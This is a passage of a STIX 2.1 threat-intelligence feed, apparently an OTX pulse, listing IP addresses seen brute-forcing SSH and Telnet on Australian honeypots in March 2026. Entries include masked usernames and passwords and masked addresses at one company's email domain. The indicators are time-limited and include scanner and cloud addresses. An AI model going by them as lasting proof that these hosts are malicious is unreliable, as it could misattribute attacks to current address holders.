      "pattern": "[ipv4-addr:value = '111.170.150.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T20:16:46.000Z",
      "valid_until": "2026-04-14T20:15:05.000Z"
    },
    {
      "created": "2026-03-13T20:16:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--c783bd16-8532-4c19-ab26-384da2ce7788",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T20:16:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.90.196.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T20:16:46.000Z",
      "valid_until": "2026-04-14T20:15:05.000Z"
    },
    {
      "created": "2026-03-13T20:16:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--9a1848e9-e412-4a58-8b52-62ec68c13075",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T20:16:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T20:16:46.000Z",
      "valid_until": "2026-04-14T20:15:05.000Z"
    },
    {
      "created": "2026-03-13T20:16:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--dc1afe05-773d-4cd0-9378-b5a597e26604",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T20:16:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.81.148.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T20:16:46.000Z",
      "valid_until": "2026-04-14T20:15:05.000Z"
    },
    {
      "created": "2026-03-13T20:16:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--b83d1d6d-a97f-4f52-ba07-e311a4950a80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T20:16:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.94.201.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T20:16:46.000Z",
      "valid_until": "2026-04-14T20:15:05.000Z"
    },
    {
      "created": "2026-03-13T20:16:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c106203e-40d2-43d0-940b-d7bc92c752bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T20:16:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.18.211.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T20:16:46.000Z",
      "valid_until": "2026-04-14T20:15:05.000Z"
    },
    {
      "created": "2026-03-13T20:16:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--88dbfe35-df86-4d6b-91dd-c7c56655afb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T20:16:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.255.3.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T20:16:46.000Z",
      "valid_until": "2026-04-14T20:15:05.000Z"
    },
    {
      "created": "2026-03-13T21:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--bdd40224-5744-44ef-8f3b-cc320cc9f6bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T21:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '153.0.124.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T21:15:24.000Z",
      "valid_until": "2026-04-14T21:15:01.000Z"
    },
    {
      "created": "2026-03-13T21:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB. Usernames observed (masked): s*****s. Passwords observed (masked): v********1.",
      "id": "indicator--5c983f85-df06-4a96-8761-4b37cd13e45e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T21:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T21:15:24.000Z",
      "valid_until": "2026-04-14T21:15:01.000Z"
    },
    {
      "created": "2026-03-13T22:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc.",
      "id": "indicator--a5c97012-c11f-47c7-bd46-79ec09777b7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T22:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.129.146.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T22:15:23.000Z",
      "valid_until": "2026-04-14T22:15:11.000Z"
    },
    {
      "created": "2026-03-13T22:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--37ddb847-09ba-4c5b-99f1-f13a9dc2e665",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T22:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.140.212.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T22:15:23.000Z",
      "valid_until": "2026-04-14T22:15:11.000Z"
    },
    {
      "created": "2026-03-13T22:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--428b29a4-851f-4d1f-ab39-1332929940ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T22:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.48.18.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T22:15:23.000Z",
      "valid_until": "2026-04-14T22:15:11.000Z"
    },
    {
      "created": "2026-03-13T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): w****n, 3**********4, b**t, c**y, m**a. Passwords observed (masked): ***, 1****6, 3***********4, 3**********4, B******!.",
      "id": "indicator--acd08852-84d4-4a2f-807c-be93fc01a87f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.67.78.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T23:15:14.000Z",
      "valid_until": "2026-04-14T23:15:11.000Z"
    },
    {
      "created": "2026-03-13T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38283. Organisation(s): CHINANET SiChuan Telecom Internet Data Center. Usernames observed (masked): c*********o. Passwords observed (masked): p******d.",
      "id": "indicator--0e1ff5c8-4d9b-4b4c-bc9d-db1002626a0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.122.147.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T23:15:14.000Z",
      "valid_until": "2026-04-14T23:15:11.000Z"
    },
    {
      "created": "2026-03-13T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center.",
      "id": "indicator--31dfedf6-c54a-4ea8-bb12-11aa6187395f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.3.209.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T23:15:14.000Z",
      "valid_until": "2026-04-14T23:15:11.000Z"
    },
    {
      "created": "2026-03-13T23:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23674. Organisation(s): Nayatel Pvt Ltd.",
      "id": "indicator--2961f5b3-2c93-43d5-96f8-3129a8a7625b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.192.247.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T23:15:14.000Z",
      "valid_until": "2026-04-14T23:15:11.000Z"
    },
    {
      "created": "2026-03-13T23:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--120cd1f5-ff65-4cdc-87bb-36671f32d6a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.40.209.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T23:15:14.000Z",
      "valid_until": "2026-04-14T23:15:11.000Z"
    },
    {
      "created": "2026-03-13T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--471facca-9c40-4c12-b8af-72360e6ae529",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T23:15:14.000Z",
      "valid_until": "2026-04-14T23:15:11.000Z"
    },
    {
      "created": "2026-03-13T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1b9e5462-4ce4-4f75-944b-070e719ceda3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T23:15:14.000Z",
      "valid_until": "2026-04-14T23:15:11.000Z"
    },
    {
      "created": "2026-03-14T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--31eec78b-4911-4d02-8372-be3560098082",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.190.74.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T00:15:13.000Z",
      "valid_until": "2026-04-15T00:15:11.000Z"
    },
    {
      "created": "2026-03-14T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): c**t, 3**********4, a*********r, d***a, f****d. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, F********!.",
      "id": "indicator--fa4a5b4b-2689-46dc-ac37-cb42076112b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.241.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T00:15:13.000Z",
      "valid_until": "2026-04-15T00:15:11.000Z"
    },
    {
      "created": "2026-03-14T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--4b559977-fe68-4bbd-9181-f0c09f735b33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T00:15:13.000Z",
      "valid_until": "2026-04-15T00:15:11.000Z"
    },
    {
      "created": "2026-03-14T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): s***m, f*****r, k***n, p******a, p****a. Passwords observed (masked): *, 1*******3, 1***5, 3***********4, A***********..",
      "id": "indicator--05d53341-7dfd-4538-a4d6-06f91fa83b03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.176.16.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T00:15:13.000Z",
      "valid_until": "2026-04-15T00:15:11.000Z"
    },
    {
      "created": "2026-03-14T01:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--864d7617-a77f-4c23-a29a-4d7e890e5d8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.26.86.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T01:15:14.000Z",
      "valid_until": "2026-04-15T01:15:11.000Z"
    },
    {
      "created": "2026-03-14T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1***5, 1****6, 1*****7, 1******8, 1*******9.",
      "id": "indicator--01090226-d4de-4599-ab2a-430fe038ce17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.34.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T01:15:14.000Z",
      "valid_until": "2026-04-15T01:15:11.000Z"
    },
    {
      "created": "2026-03-14T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 993. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): p********r@bardengineering.com, s***s@bardengineering.com. Passwords observed (masked): B******************5, b****************3.",
      "id": "indicator--5534e843-8c36-44ff-8114-fbb14e4a9dc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T01:15:14.000Z",
      "valid_until": "2026-04-15T01:15:11.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, n****b, e*******h, k***m, s****e. Passwords observed (masked): ***, 3***********4, 1******q, 1***5, A*****3.",
      "id": "indicator--0db30f23-2617-49bb-b816-75212ce7f232",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.150.103.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--a2d3f214-d5d6-4eed-9087-9e3d11981e14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '129.212.180.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1**4, 1***5, 1****6.",
      "id": "indicator--e05d9af0-a417-4db4-95cf-775582e977eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.87.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 993. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s***s@bardengineering.com, w*******r@bardengineering.com. Passwords observed (masked): B****************3, b******************@.",
      "id": "indicator--337e83e7-21a0-43c2-bd5e-0c69b9cddea8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.42.176.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): j*****s, 3**********4, a***a, a*******e, h*****c. Passwords observed (masked): 1**4, 1****6, 1****e, 1********t, 3***********4.",
      "id": "indicator--f35d59fe-0962-4273-80b5-8646aafc8725",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.221.17.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 993. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): **@bardengineering.com, s***s@bardengineering.com. Passwords observed (masked): B*****************@, b******************@.",
      "id": "indicator--072f1539-309d-42ee-9aba-fb92af4a569f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '158.220.98.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 342. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, r**t, k***m, n****b, a**s. Passwords observed (masked): 3***********4, 3**********4, ***, 1******q, 1***5.",
      "id": "indicator--aa53af59-7d0c-4f50-97b1-d62cb35b0000",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IQ. ASN(s): 210022. Organisation(s): Trade Link Logistics General Trading & Contracting Company W.L.L., L.L.C.. Usernames observed (masked): 3**********4, r**t, k***m, n****b, a**s. Passwords observed (masked): 3***********4, 3**********4, ***, 1******q, 1***5.",
      "id": "indicator--b40219b9-e165-46e8-8d20-59713182b687",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.158.23.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 342. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 13489. Organisation(s): UNE EPM TELECOMUNICACIONES S.A.. Usernames observed (masked): 3**********4, r**t, k***m, n****b, a**s. Passwords observed (masked): 3***********4, 3**********4, ***, 1******q, 1***5.",
      "id": "indicator--66b2d4e1-2b9b-4172-b2d2-801aba69b9fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.0.63.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
